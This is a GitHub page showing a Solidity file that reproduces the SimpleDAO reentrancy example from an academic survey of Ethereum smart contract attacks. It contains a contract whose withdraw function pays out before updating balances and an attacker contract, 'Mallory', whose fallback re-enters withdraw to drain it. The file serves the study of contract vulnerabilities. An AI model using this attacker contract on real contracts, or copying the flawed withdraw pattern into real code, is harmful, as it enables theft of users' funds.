-
Notifications
You must be signed in to change notification settings - Fork 22
/
simple.sol
43 lines (35 loc) · 1.2 KB
/
simple.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
* Example taken from the paper by N. Atzei, M. Bartoletti, and T. Cimoli, “A Survey of Attacks on Ethereum Smart Contracts (SoK),” in Principles of Security and Trust, 2017
* http://blockchain.unica.it/projects/ethereum-survey/attacks.html#simpledao
*
* Modified for solidity 0.5 compatibility and removed unecessary
* functions/variables.
*/
pragma solidity ^0.5.0;
// this code also works with older solidity
/*pragma solidity ^0.4.19;*/
contract Mallory {
SimpleDAO public dao;
address owner;
function() payable external {
dao.withdraw(dao.queryCredit(address(this)));
}
function setDAO(address addr) public {
dao = SimpleDAO(addr);
}
}
contract SimpleDAO {
mapping (address => uint) public credit;
function donate(address to) payable public {
credit[to] += msg.value;
}
function withdraw(uint amount) public {
if (credit[msg.sender] >= amount) {
msg.sender.call.value(amount)("");
credit[msg.sender] -= amount;
}
}
function queryCredit(address to) public view returns (uint) {
return credit[to];
}
}